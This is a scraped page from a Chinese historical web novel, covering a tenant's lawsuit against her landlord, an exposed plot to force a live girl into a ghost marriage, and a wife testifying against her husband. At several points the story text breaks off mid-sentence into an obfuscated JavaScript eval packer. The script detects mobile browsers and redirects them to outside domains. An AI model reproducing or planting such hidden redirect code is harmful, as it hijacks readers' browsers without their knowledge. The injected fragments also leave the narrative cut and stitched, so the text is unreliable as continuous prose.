梁照儿拉住沈度，强忍住一巴掌拍上孙五哥脑袋的冲动，低声问道：“你今日来不只是为了耀武扬威的罢？” 孙五哥一掸衣服下摆，桀桀一笑道：“若是娘子早同意涨租金便没有后头的事。” 梁照儿说：“我并非不愿意接受，只是循事都有章法……” 孙五哥打断：“如今小老儿不要你的租金了，这铺子我不租了，还请娘子尽快拾掇清爽搬走才是。” 此话一出，众人一时间愣了，再反应过来皆是怒不可遏。 孙五哥又说：“行了，别白费力气了，今日我大发善心，死也叫你们做个明白鬼。人在江湖，行事不得太锋芒毕露，哪日得罪了贵人自个儿都不知道。” 梁照儿怒不可遏道：“不给任老爷做喜糕便是得罪了？” “她真是这么说的？” 冶春巷，任家正堂里，任老爷正质问孙五哥。 孙五哥一改平日里嚣张气焰，双手相拱着低头乖顺站在下头回话：“正是，老爷您是不知，那妇人气性可大着呢！” 任老爷冷哼一声，将手中茶杯重重地砸在桌上。 自那日金钿回禀后，任老爷便派人去查了梁照儿和那食肆。这不查不要紧，一查简直吓一跳，原来这梁照儿也是从崔家出来的，还是崔珍和崔璋二人的庶母。崔家被他整的家破人亡，心中对他自然满怀仇恨。 任老爷犹记着崔珍被一卷草席卷着送回崔家那日，崔璋站在堂中看他的眼神。 阴测测的仿佛从地狱里爬上来的十殿阎罗一般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她一个转头，不料崔璋俯身向前，二人隔得极近，鼻尖几乎相碰。霎时间仿佛能听见彼此的心跳，梁照儿不自觉地咽了一口口水，崔璋的眼神愈发晦暗。 他轻笑一声道：“本就是诈人，真假又何妨。” 月娘推开门时看见的便是这副令人无限遐想的场景，两人一起凑在桌前研究着一张纸。 躺在摇篮里的崔灼非常给面子地嚎了一嗓子，将众人的注意力都吸引过去。月娘几乎是一阵风似地冲了进来，将崔灼抱起哄了哄，随即眼眶泛红的看向崔璋。 月娘还有什么不懂的？ 她回头看了一眼书桌背后的柜子，她总算得知崔璋画的女子是谁。尽管没有五官，可那衣衫和面容活脱脱的就是......月娘恨不得将那柜子立刻拉开，让里头的东西蹦出来一地。 但她最终没这么做。 梁照儿见状立刻揭身走到门口，“这东西我就先拿回去了，若还有其他的事则劳烦你再帮帮忙。” 38. 对簿公堂 吕梁正在街边馎饦摊上吃馎饦，近来如意馆没开门，他已经许久没吃到合心意的早饭了。 他咂巴了两下嘴，还是梁娘子做的鱼汤红丝馎饦好吃，这摊上的馎饦太寡淡，没味。 正当他怀念起那馎饦的滋味时，忽而见旁边的人和同伴说了两句话，连馎饦都顾不上用完，便朝外头跑去。 吕梁心下好奇，忙问：“二位兄台这是要去哪里？” 其中一人回头说：“你不知道城里头最近的一桩大事麽？” 吕梁不解：“甚么事？” 那人道：“如意馆梁娘子状告孙五哥恶意征租，现下正在官衙里头开堂会审呢。” 吕梁惊讶道：“原来如意馆这些时候不曾营业是因为这个。” 另一人说：“嗐，孙五哥也是缺德，日日都找人去如意馆闹，这生意哪能做成呢？” 先头那人不耐烦道：“快别说了，再晚些都占不到前边的位置了，这种热闹还不快去瞧瞧。” 吕梁亦点头附和，三人一处去了官衙。 拨开面前熙熙攘攘的人群，映入眼帘的正是扬州州衙。州衙坐北朝南，沿中轴线依前自后按序排列着大门、仪门、大堂、二堂、三堂等，一片庄重威严的氛围。州衙前半部分为审案、办事的大厅，后半部分是官吏居住的宅院，形成前堂后宅的格局。门口一扇朱漆大门，门柱挺拔，两侧分别一堵八字墙，照壁上刻有“贪兽吞日”的浮雕。仪门下两侧设东生门和西死门，专供囚犯押送。 三座公堂在最靠前的位置。堂中间设暖阁一间，朝南摆着三尺公案，户曹参军与司法参军常在此处会审。 不过梁照儿和孙五哥的民事纠纷暂且用不着到大堂里解决，只需到二堂处先进行预审。 二堂便与梁照儿所想的布局一致，左右两侧摆着刑具，诸如廷杖、夹棍、拶子之类的。堂下小吏高喊一声“威武”，户曹参军才从后头慢悠悠地出来。 李瘸子站在一边小声道：“我活了这么多年还是第一次进到这里头来，该说不说还有点激动。” 沈度没好气地瞥了他一眼，“你这厨子现在倒癫神癫魂了，杀鸡杀猪的时候却躲得八丈远！” 每回在厨房里头杀鸡杀猪的活李瘸子都丢给沈度去干，美其名曰不敢杀生。 户曹参军轻咳几声，拍着惊堂木道：“肃静。” 公案前坐着一位年约四旬的官爷，身穿浅绿色官服，佩九銙银带。 本朝户曹参军主管户籍赋税以及与婚姻、户籍和田产等方面相关的民事诉讼案件。新任户曹参军姓曾，是付文兴的顶头上司，据他所说人还算和气，不过暂且不知其屁股歪不歪。 曾参军说出了那句再熟悉不过的开场白：“堂下何人状告，又所为何事？” “贱妾润州梁氏，来扬州投靠舅父舅母，如今在城中卸盐巷赁了家铺子做食肆生意谋生，”梁照儿依次说来，“孙五哥乃是贱妾所租铺子的房主人，眼见卸盐巷因重修瓜洲渡口一事坊市间重新活络了起来便欲涨租金。” 李瘸子捧哏：“这一涨，可涨了不老少！” 曾参军又一拍惊堂木道：“本官同当事人问话，闲杂人等不许插嘴。” 李瘸子一听这话便欲解释自己并非闲杂人等，却被沈度捂了嘴拉到一边，“你还想有地方干活就多闭嘴，少说话。” “知道了。”李瘸子缩了缩脑袋。 曾参军看向一旁的孙五哥问：“孙五哥，可有此事啊？” 孙五哥只露出笑眯眯的一张脸，伪善道：“回禀官老爷，是有这么桩事。” 曾参军见孙五哥丝毫不惧，身子向前严肃说：“你们既已签署了租契，行约未满，便不得随意涨调租金，你可知晓这点？” 孙五哥诚恳地点了点头，“知晓，知晓。” 梁照儿适时将怀里的租契掏出，呈给曾参军瞧，“这是在城北牙行签下的租契，还请曾老爷过目。” 曾参军应了一声，将那租契展开来一瞧，又是一声霹雳惊堂木震声而起，“这白字黑字写的清楚，你有何抵赖之处？” 门外围观的居民们附和：“就是就是！” 孙五哥拱手道：“草民却无抵赖之处，只是如今家中偶生变故，便需要些兑些银钱，才出此下策。” 曾参军冷哼一声，“既如此，本官瞧着此案倒很简单，租金仍维持现状，待到期满再做商议即可。” 孙五哥摇了摇头，掀开折扇走上前来说：“参军且慢，草民还有半句话未讲完。如今家中急需用银钱，既然这租金涨不成，我也只好将这块地卖给旁人来填补窟窿。” 说着，他给身边的小厮使了个眼神，那小厮立刻将地契呈上。 梁照儿心下一阵愤怒。 看来孙五哥和任老爷是打定主意要将她赶出这块地，居然想出这种阴损的法子来对付她。先谎称将地已经卖了，强制命她搬离，待到之后这块地再悄悄地转回给孙五哥便结了。 即便不转，就凭孙五哥和任老爷之间的关系，名义上的地主人和实际上的也没差。 曾参军为难地看了一眼梁照儿，付文兴前几日还交代了他，能帮着的地方便照拂一二，如今这局面也是他前所未料的。 为了能继续吃到红烧肉，他又说：“孙五哥你可知有句话叫‘买卖不破租赁’？虽然你卖了地，可租契在先，便不能擅自驱赶租户。” 梁照儿补充：“禀参军，孙五哥不仅想逼我搬走，还时常找些地痞流氓在食肆门前扰奴做生意，这又何算？” 孙五哥讪笑着说：“梁娘子，我虽体恤你一介寡妇经商讨生活不易，可你这话也不能乱讲哩，我何时派地痞流氓去你店前啦？总得拿出真凭实据才好。” 梁照儿望向门外聚着的人群。 “可有曾在如意馆用过饭的食客愿意出来替奴做个证的，奴感激不尽！” 门外的气氛组顿时鸦雀无声。 梁照儿心中虽有些失落，倒也能理解。 毕竟人人都是来看个热闹，谁又想把自己搭进去呢？更何况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401548|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面是个有头有脸的乡绅，岂是区区草民可以对抗的。 不想真有这傻里傻气的人出头。 吕梁猫着身子上前来说：“参军大人，我……我就看见了。” 曾参军安抚道：“你别紧张，将你看见的尽数说来。” 吕梁絮絮叨叨地讲了好几件事，不过讲话有些颠三倒四缺乏逻辑，叫人听起来有些费力。 曾参军皱着眉从他的言语中提取了些相关信息，连忙挥手道：“本官知晓了，你先退下罢。” 吕梁连连点头，退下之前还对梁照儿小声说：“我嘴笨，只盼着能帮上娘子些个。” 梁照儿认出吕梁真是之前在小食摊上吃馎饦的那位食客，那会儿她刚找着地方做生意，广撒网向许多食客宣传新店。可惜就那么寥寥几个人真的跟着来了，吕梁便是其中之一。 好几次梁照儿都见他是悄悄地来，吃了便走了，也不与她攀关系、要些好处之类的。 倒是个一等一的实心人。 梁照儿冲他和煦一笑道：“感念您相帮，若如意馆能平安度过这一遭，还盼着您来多吃几场才好。” 曾参军说：“人证既在，你还什么好狡辩的？” 孙五哥讪笑说：“冤枉啊参军老爷，草民本也没想狡辩。为着补偿娘子，我愿将租金都退了她，再额外补贴她一两银子，这总够诚意了吧？” 沈度不忿道：“你这人极善诡辩，如意馆本经营良善，如今因为你个人私事已经导致近来一段日子营收受损，这又何算？” “嗐，你们不就是想要钱吗？反正我收了卖地的钱，手里也活泛，多给你们些只当打发叫花子了。”孙五哥淡淡道。 这话成功将在场的所有人都惹怒了，除了孙五哥和他的小厮。 梁照儿不过想要个合理的说法，涨租她也同意，怎么就被扣上顶此前种种皆是爱财之举的屎盆子？ 她不服。 故而她直言：“孙五哥与冶春巷任老爷二人合谋迫害良民，不信请曾参军看看那地契上的买家可是任老爷的大名。” 曾参军闻言一瞧，还真是。 孙五哥似乎早就预料到梁照儿一众人等会反咬一口，此刻只风轻云淡道：“妇人家梦话呓语是常有的事，只是这病症久了，难免失心疯，娘子也该好好看看郎中才是。” 他又说：“任老爷本就是扬州城有名的富商，这城里出手这般阔绰，一买就买一块地皮的想来也寥寥无几。我将地卖给他不是很正常麽？” 梁照儿反驳说：“你孙五哥原是任老爷府上的管家，你的儿子如今仍在任老爷的铺子里做账房先生，这话可有错？” 孙五哥道：“我一遇难首先想着的便是以前的老东家，任老爷也肯帮着我，不更能说明他是何等的宅心仁厚，顾念旧情？” 梁照儿：“……” 孙五哥乘胜追击：“娘子说我与任老爷合谋下套于你，可据你方才所说，你打从润州来的，并非扬州城里人，我们与你无冤无仇，何故害你？” 39. 穗穗下落与任家隐情 韩知州虽稳坐高台，却对扬州城里的事了如指掌。他是以资政殿学士的身份出任知州的，寻常知州不过一五品官，资政殿学士却是三品大员。下面不少人都有些怕他，由怖生畏，故而许多事情都藏着掖着，怕直达天听，徒惹祸端。 就例如今天一事，事情可大可小，韩知州心知肚明却也不欲来管。他知道任功是胡县尉的亲戚，而胡县尉背后……若不能斩草除根，只怕也是徒惹祸端。 任功买卖良家子一事，早就成了扬州城里公开的秘密，韩知州也一直在暗地里调查。再加之韩景彦写信回来，宝绮也劝说自己审理此案，韩知州便到前头来了。 梁照儿写信给韩景彦和宝绮本是碰碰运气，不料却真的凑巧得了韩知州襄助，一时间惊喜不已。 很快她便稳住心神，对羊安顺道：“羊甲头，你且去告诉你那兄弟和黄爷，就说有韩知州作保，尽管放心。” 羊安顺虽不解其中之意，却点头照做。 燕环小声问：“叫他们来做甚么？” 李瘸子回道：“当然是来指认任功这毒心辣肺的坏怂。” 任老爷见韩知州来了，心下一阵忐忑，拱手谄媚道：“是甚么风竟把知州大人吹来了。” 韩知州压根不吃这套，“本官问话，你只需回答便可。” 任老爷神色一顿，只说：“草民必当知无不言，言无不尽。” 韩知州问：“任五郎前些日子去世，城中有流言称是你买良家女子替你儿子配阴婚，此事究竟是真是假？” 任老爷忙道：“知州大人明鉴，这是烂屁.眼没根儿的事，草民向来信佛，不敢做啊！” 韩知州轻哼一声，落座于曾参军与杨参军当中，二位参军皆起身行礼。 杨参军暗自摸了一把汗，这韩知州为官清廉，且从不为权贵折腰，是个难得的纯臣，非寻常阿堵物能够收买。杨参军连忙给任老爷使了个眼色，叫他偷偷去寻胡县尉。 行过礼后，杨参军又道：“知州大人若没证据，倒不好轻信那捕风捉影的谣言。任功在扬州城里也算颇有名望的乡绅，为修建城中各类构筑屋舍进献了不少银子，不好寒了这些报国商人的心。” 这话便是在说韩知州任期不满一年，并不清楚民生民情，就不要在这插手一干事宜了。 韩知州罕见地发了脾气，“本官乃一州主官，审理案件乃分内之事，岂容你在此放肆！” 杨参军默默退下。 梁照儿往后一瞧，只见羊安顺带着他那兄弟来了，忙说：“民女就是人证，前些时候任家婢女曾来奴的食肆预订喜饼喜糕，且提了个怪异的要求，需等到夜半时分她才来取。当下民女便觉着不妥，试想夫妻成婚多在阴阳交割的黄昏时分，哪有正经人家半夜成亲？” 曾参军点头道：“此言不错。” 任老爷辩驳说：“这位娘子既说是我任家的婢女，可知她姓甚名谁，又是哪房的女使？这样的话我也会编来！” 梁照儿铿锵有力说：“经手过任家买卖的人牙子已在堂下候着，还请知州大人传他上前问话。” 韩知州点头默许。 羊安顺那兄弟吴莱弓背上前，略显紧张地冲堂上几位官员问了安。 杨参军问：“堂下证人将所见之事速速道来！” 吴莱道：“小人吴莱，乃是城北牙行黄爷手下的一名人牙子。三四月前，任老爷派身边亲信到牙行来寻黄爷，问是否有年岁十五六上下的清白女子，任老爷的小儿子还未娶亲便早殇，想给他配阴婚。” 任老爷闻言捏紧了拳头。 好一个黄有龙，收了他的银子居然还敢背叛他。 鬼孤则不立，五郎虽逝，可魂灵尚存，孤身漂泊天地之间，无法进入祖坟安心，自己不过是想让五郎入土为安，究竟有什么错处！ 韩知州闻言眉头紧锁，沉声问：“任家所选的是活人还是死人？” 吴莱迟疑片刻，说道：“......活人。” 阴婚早在汉代以前便有，本朝分外盛行，屡禁不止。其形式也愈发多样，有男女双方皆病亡或是均无婚配俱幼殇的，两家父母通过鬼媒人作媒婚配，移棺合葬，称为配骨。好在这种并不涉及活人，多半是两家父母你情我愿之事，官府通常睁一只眼闭一只眼。 可若是死人与活人婚配，情况便不同了。最坏的情形便是有穷凶极恶者，寻不到合适的便拐卖杀害良家女子。 这也正是韩知州最憎恶的行径。 每当听到此类事件，他总会想起自家宝绮。 “大胆！”韩知州一声喝道。 任老爷腿一软，“扑通——”一声跪倒在地。他转头看向从外头赶回来的小厮问：“胡县尉说甚么？可与主子通信，请他帮我了？” 那小厮满额汗珠，讷讷道：“老爷，胡县尉...胡县尉......” “胡县尉究竟是如何说的，你快说啊！” 那小厮捏了一把汗，“胡县尉说兹事体大，且韩知州也掺和进来了，主子不便出面解决，还请您...自求多福罢！” 任老爷忽觉一阵天旋地转，不可置信道：“不可能！我帮胡县尉和主子做了那么多事，赚了那么多银子，不可能说不管我就不管我！” 杨参军见状便知大势已去，连忙一个侧身避开任老爷的视线。 “知州不可听信这妖妇所寻牙人的一面之词，他既说是活人，那么人呢，人在哪！”任老爷见台上再无人帮他，又不肯认输，梗着脖子嘴硬道。 吴莱抱拳道：“那女子已被任老爷钉死在棺中与任五郎合葬了。” 韩知州一拍惊堂木，挥手说道：“那便开棺验尸！” “那女子右脚上有一颗红痣，醒目非常，知州大人一验便知。” 吴莱这句话犹如晴天霹雳般在公堂之上炸开，众人纷纷望向李瘸子。 穗穗右脚上恰巧便有这么一颗红痣，也正是十五六岁的年纪。 李瘸子闻言身形一怔，待他反应过来便怒嚎一声朝任老爷奔去对着任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不仅此事，方才前头几位所说任功放印子钱一事也是真的。”周氏瞧也不瞧任老爷，又说，“有妾身这个枕边人作人证可足矣？” 众人均未想到周氏居然会前来检举亲夫，纷纷震惊地看向她。 只见周氏身穿宝相团花蓝绿色大袖长衫，头戴珍珠宝石流苏发簪，肩上披着同色披帛，瞧着便是保养得宜的模样。 任老爷指着她骂道：“你这贱妇，身上吃穿用戴无不是扬州城里最精的，不少官家太太都不如你，你还有甚么不知足的，吃里扒外的东西！” 周氏这才回头冷冷瞧了任老爷一眼，随即将头上的金银珠宝一股脑地全拔下来往任老爷身上砸。任老爷并未料到周氏此举，连忙伸手遮挡，却还是被那足金重的珠宝砸了个鼻青脸肿。 “呸！你当年求娶我的时候可是一口一个贱妇这般叫的？” 40. 妻告夫与两情相悦 在周氏的叙述下，众人得知了一桩陈年旧事。 周家原是汝南周氏的后人，战乱时周氏娘家这一支便迁徙到潭州。周家渐渐败落，趁着周氏母亲还在时便将她许给自家侄子，颇有几分托孤的意味。周氏便带着一船的嫁妆孤身上了扬州舅舅家。 她的表兄便是胡县尉。 胡县尉一开始对周氏还算尊重，毕竟得这么个大家闺秀做娘子不算亏。好日子没过几日，胡县尉的胞弟便因气性大，打死了一个人而被告到衙门。 胡家想用钱私了，对方狮子大开口一下子要三百两银子。 胡家一时间拿不出那么多现银，便想用庄铺来抵，谁知对方更觉胡家财大气粗能捞到更多好处，连三百两也觉得不足为过。 胡县尉打起了周氏嫁妆的主意。 他道：“表妹，反正你要嫁与我，夫妻一体，先用你的又何妨？咱们总归是一家人。” 周氏自然不肯。 任老爷便是此刻出场的。为了搭上胡县尉这条线，他体贴入微地替胡家料理好了一切。胡县尉问他有何所图，他只说：“在下心悦表姑娘已久。” 其实他压根不知道周氏长什么模样，求娶周氏也只是为了同胡县尉有个亲戚关系，行事更加师出有名。 好在胡县尉并不是那完全黑了心肝之人，没扣下周氏的嫁妆，原模原样地将她送走。 周氏就这样又带着她的嫁妆辗转到另一个男人家。 她原本觉着任老爷是个仁义妥帖的良善之辈，又算富有，自己往后的日子不说能封个什么诰命夫人做做，也算吃喝不仇。 可周氏未曾想这一切原本就是两个男人的骗局。 任老爷为巩固他与胡县尉之间的“兄弟义气”，常邀胡县尉一同狎妓作乐。画舫上的春娘便是一个。 一房房的小妾被抬进任家，什么桃姨娘啊、花姨娘啊、梨姨娘啊……周氏一开始还记得她们的名字，后来连名字都懒得记了。 任家后院被任老爷整的像百果园，应有尽有。 任老爷常说周氏毫无容人雅量。可周氏若不是每天骂骂任老爷和他的一众小妾出出气，就真要被憋死了。 想到此处，周氏狠狠瞪了任老爷一眼。 众人忽然得知富商家宅秘辛皆是双目圆睁的神态，谁成想打官司打的好好的，还能探听到这些八卦！ 梁照儿觉着任家的女人都是神人，上次来食肆的那个侍女像鬼，来无影去无踪，当家主母周氏更是随时像要上战场般，方才骂任老爷的话一句不带重样的。 周氏又丢出一句骇人听闻的话：“曾参军在上，妾要与任功和离，从此以后一别两宽，各生欢喜。” 曾参军听到一半，见这里头还有自己的事，连忙坐直身子道：“妻告夫属义绝，按律应当服刑两年，还需受十杖，周氏你可清楚这些？” 本朝女方主动提出离婚极难，且周氏是妻告夫，更是闻所未闻。 梁照儿满心敬佩地看着面前这个为自己而战的女子，在饿死事小失节是大的古代，她竟有这般勇气。 周氏丝毫不惧：“妾虽为女儿身，却也知‘一言既出驷马难追’的道理，妾不悔、亦无怨，愿受刑罚。” “周氏，你这是不守妇德！”韩知州蹙眉喝道。 他虽有一颗爱女之心，可身为男子到底还是君臣父子夫妻那一套的拥趸。 任老爷亦作出一副可怜状：“娘子，为夫不过一铜臭商人，心思粗，若有做得不对的地方尽管叫我去改，我任功认打认罚，何至于此啊！” 周氏凛凛说：“知州不肖说旁的，只说妾的证词和证据是否确凿，能否给任功定罪？” 韩知州一顿。 思忖片刻后，韩知州给出最终裁定：“派人去查任功赌场，若是查抄出不法之物便就地查封了。至于周氏所告之事，证据确凿，但念及那女子性命无忧，便赔那女子家人白银五十两，杖责三十大板以儆效尤。” 任老爷放印一事，虽有人证，但他到底心思缜密，将物证一应销毁；他买良家女为其子配阴婚一事倒是证据确凿。不过周氏一时善念，救了那女子一命，到底没造成什么恶果，也算间接救了任老爷。 杨参军求情：“任功如今年逾四十，若是被杖责三十大板，只怕有性命之忧，知州此举是否太过了些？” 曾参军淡淡道：“杨参军似乎很同情任功，莫不是这其中也有你一份？” 杨参军瞪了曾参军一眼，悻悻住嘴了。 曾参军又道：“任功唆使孙五哥纵容地痞流氓寻衅滋事属实，需按如意馆平日收成将这几日损失赔付给梁娘子以示惩戒，另外不得再驱赶住户。” 任老爷见大势已去，面上满是愤恨之色，怨毒地看着周氏。若不是这个毒妇，自己怎会落得如此下场！ 他拿捏不了上头的大官，还拿捏不了梁照儿他们这些小民不成？如今卸盐巷那块地皮在他手里，半年之后租契约满，再叫她滚蛋就是了！ 梁照儿自然也想到了这层。 她问上头几位：“大人，这块地被孙五哥卖给了任功，那么往后这租子便要交给任家，今日对簿公堂闹成如此局面，若是出了这公堂，任家继续暗地里使绊子该怎么好？” 杨参军陷入了一阵沉思。 这本是没办法的事，即便是他也只能保证在租契内的权益，若是租契满了，任老爷不愿意再租他也不能把刀架在人脖子上硬命他租给梁照儿。 商家间争斗是常有的事，胜者为王，败者为寇。 孙五哥幸灾乐祸道：“让你再继续待半年都不错了，真有本事便将这地买下来啊！” 燕环一个箭步上前，骂道：“你这个捧任功粗腿的势利鬼，瞧谁不起呢？你当我们没钱不成，买就买！” 梁照儿连忙将燕环拉住，小声道：“你妹妹我自打开业来连五十两银子都没挣到，哪来的闲钱去买地！” 燕环说：“我有钱，你不必担心。” 她原先在翠袖坊也算头牌，恩客不少，既能拿出赎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416526|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身的银子，又能在冶春巷租宅子自然是有不少家底。燕环将这钱拿出来也是思虑再三的，她与梁照儿这小半年相处下来倒真真生出来几分欣赏。 一开始虽然对她有些敌意，觉着她年轻未经事，可接触下来却觉得她是个古道热肠的。在营造处时，自己明明对她不算友善，结果她还替自己说话，在栈桥上也算救了她一命。 反正今日闹着一场，自己在冶春巷也不好待了，倒不如顺水推舟送梁照儿个人情，只当分红入股，以后也不怕没银子进账。 孙五哥不屑道：“即便你有钱买，可你身为女子拿什么立户呢？” 梁照儿虽与崔璋占了个母子的名头，可她到底未来得及行李过户，按律法上来看也可算作未婚的女子。本朝女户稀少，即便是寡妇，若是有子，也是其子为户主，除非家中男人都死绝了才有可能自己独立门户，且不能再嫁。 这下便只剩两条路：一是找个信得过的男人替她买下这地，将地挂在他名下；二是依律立刻找个肯入赘的男人作“养老婿”，终身从妻居，方可自立门户。 可上哪儿去找肯入赘的男人呢？ 梁照儿下意识地看向崔璋，她还记着他曾说的那些浑话。 崔璋薄唇抿成一条直线，内心正承受着莫大的煎熬。他是读书人，自然是知道律法是如何规定的。他脑海里上演了一遍又一遍冲到堂前大喊一句“我愿意”，可想起襁褓里的崔灼，他的步子仿佛被粘住了一般。 崔老爷去世时还未见他中举娶亲，崔家如今就剩下他与崔灼两代单传，自己真的要违背崔老爷生前想看到的重振门楣的心愿麽？ 他不知道。 沈度将崔璋的犹豫和为难尽收眼底。他冷笑一声，这机会他是给了崔璋的，只可惜他不中用，那就别怪自己后来居上了。 反正沈度无父无母，同梁照儿一样赤条条的一个人行走天地间，根本不在乎这些虚名。 他信步上前，拱手道：“这不难，我与梁娘子本就两情相悦，我愿入赘为其夫便可立女户。” 崔璋不可置信地望向沈度。两情相悦麽？这又是什么时候的事？自己在熬灯苦读时，她便与旁人两情相悦了麽？ 如意馆众人听到这话惊掉了下巴，心道：虽是为了帮梁照儿，倒也不用玩的这么大吧！ 梁照儿更是久久未回过神来，她见沈度冲她眨了眨眼睛，迅速调整好说：“......确有此事。” 在任老爷被打板子的哀嚎和孙五哥的咬牙切齿中，梁照儿领着新得的夫婿和众人一齐晕晕乎乎地出了公堂。 自己不是来打官司的麽，怎么突然便要成婚了？ 李瘸子喊住周氏，问道：“敢问太太您救下的那女子身在何处？” 周氏淡淡道：“城外东边二十里的庄子上，你拿我的耳坠子去便有人引你去见。” 她取下右耳的一枚耳坠子递给李瘸子后，便被官兵带走押入大牢。 玉梳笑着说：“事情总算解了，先回去再说罢。” 41. 新的开始与自愿留下 众人一起回了如意馆中，皆丧眉搭眼地站在屋里。燕环笑着打趣：“瞧瞧，这都是怎么了，打了胜仗回来还不开心麽？” 李瘸子攥着那耳坠子，心中被周氏救下的那女子占满了，万一那姑娘就是他家穗穗呢？ 他不敢想。 梁照儿看出了李瘸子的心不在焉，“你快去城外看看吧，任家如今动荡，若是那姑娘临时去了别的什么地方便不好找了。” 李瘸子一点头，便一瘸一拐地朝着城外去了。 玉梳叹道：“好在是有惊无险地度过这一遭。照儿，你胆子还是这般大，竟敢当堂与任老爷叫板，不过总算出了一遭恶气。” 梁照儿笑着揽过玉梳，“那你也肯陪我来？” 玉梳低下头，她不敢说她曾是有过疑虑的。张虎和张老太都曾劝过她不必蹚这趟浑水，左不过只是在如意馆做事，何苦将自己也给搭进去。玉梳听到这话一脸不可置信地望向张虎，她能想象到张老太是会说出这话的人，可张虎却是她想不到的。 不过若说玉梳内心未有过片刻的挣扎，那倒是假的。 这事胜算不大，又有风险，是个人都会犯怵。可玉梳想起梁照儿那张执拗的脸庞和真心实意待她的好，不肯来的话怎么也说不出口。 玉梳冲着梁照儿甜甜道：“因为我觉着你做甚么都会成功。” 难得的温情时刻却被燕环打断：“如今我们也算有老板娘了，替你们风风光光地办一场才好。” 燕环绝不会承认自己是想吃席了。 玉梳问：“掌柜的不是在这，甚么老板娘？” 燕环看向沈度，她努了努嘴道：“诺，老板娘不就在这呀？” 此话一出，沈度的脸更黑了几分。自打沈度认识燕环以来，便时常被她噎得说不出话来。他一个箭步上前，攥住燕环的后脖颈，咬牙切齿道：“掌柜的，你管不管？” 梁照儿也被燕环这话激得有些羞愤，“你今天就结果了这促狭鬼，好叫她再不能拿人做筏子。” 燕环仍嘻嘻笑道：“还没见礼，便夫唱妇随了？” 沈度欲给燕环几分颜色瞧瞧，却被羊安顺拦下，“沈兄弟大人有大量，就同个小女子计较了。” 玉梳打趣道：“唷，你还说旁人呢，瞧瞧羊甲头，这就护上了？” 一时间三个娘子闹作一团，莺莺燕燕的欢声笑语吵得沈度脑瓜瓤子疼。他朝外头李瘸子走得方向看去，忽然觉着和李瘸子在一处也不赖，总比进了盘丝洞强。 香风满阁，树梢啼莺。木欣欣向荣，泉涓涓始流。 李瘸子郁闷地坐在厨房里好几日，他去城东寻到了那女子，却发现并不是穗穗，这下线索又断了。 燕环安慰了他两句，见他还是这副样子便跑到了前头来。 “沈度这几日总是神出鬼没的，不知干甚么去了，把活都丢给我！”燕环没好奇道。 梁照儿坐在一边看账册，头也没抬地回说：“他今日同我告了假，你自己说的，如今也算店里人，干点活怎的了？” 燕环叉腰说：“那我也不能做杂役罢？我是甚么样的人囖，叫我做这个岂非暴殄天物！” 梁照儿道：“那你想做甚么，说来听听。” 燕环朝四周一看，玉梳见燕环看向她，忙道：“嗳，你可别想抢我的活干。” “你叫我干，我也干不了呀，我这人一看书本就发晕，更别提算数了。我也就唱唱曲，讲讲话还行。”燕环无奈道。 梁照儿点点头，你别说，唱曲儿还真行。后世许多餐馆都有乐队主唱演出，更甚者高级酒店有专人替宾客演奏钢琴小提琴之类的，燕环弹琴唱曲儿也算招揽顾客的法子。 恰巧她也爱做这些。 “小二打壶酒来！”还不待燕环回话，一旁的用餐的食客便嚷道。燕环又只得气冲冲地进厨房去打酒来。 等沈度回来已经是后半夜了，梁照儿站在门口等他。 沈度身着黑色夜行衣蹑手蹑脚地进了门，一个转身却被手提纸灯笼吓得半死，“掌柜的大晚上不睡觉站在这做甚么？” 幽幽的烛光衬着梁照儿的脸，光影参差不齐地落在脸上，颇有几分瘆人。 沈度道：“快把这灯笼拿开。” 梁照儿闻言没好气地将灯笼放在一边，坐下道：“我还想问你呢，晌午就告假天黑才回，你不会去外头干甚么偷鸡摸狗的事了罢？” 沈度闻言睨了她一眼，“在你心中我就是这样的人不成？” 梁照儿说：“你若是想要旁人信你，得拿出行动来么，光靠口头说顶什么用？” 话音未落，梁上便有只蜘蛛掉了下来。沈度眼尖，立刻抓住梁照儿的手腕将她拉到自己这边来。梁照儿忽然被人用力一拽，脚下一歪，结结实实地撞上了沈度的胸膛。 “你平日里都吃的甚么，撞得人头都疼了，”梁照儿撇嘴道。 沈度淡淡说：“不都是李瘸子做的那些没味的东西，他成日里光给客人们做好的，轮到自己人便是些边角搭料。” 他吹了一口气，柔声道：“有虫子。” “控制成本晓得伐？天天燕窝鱼翅的给你们吃，生意还要不要做啦？”梁照儿说道。 沈度低头看着梁照儿头顶的发旋，闷声说：“你还要在我怀里待多久？” 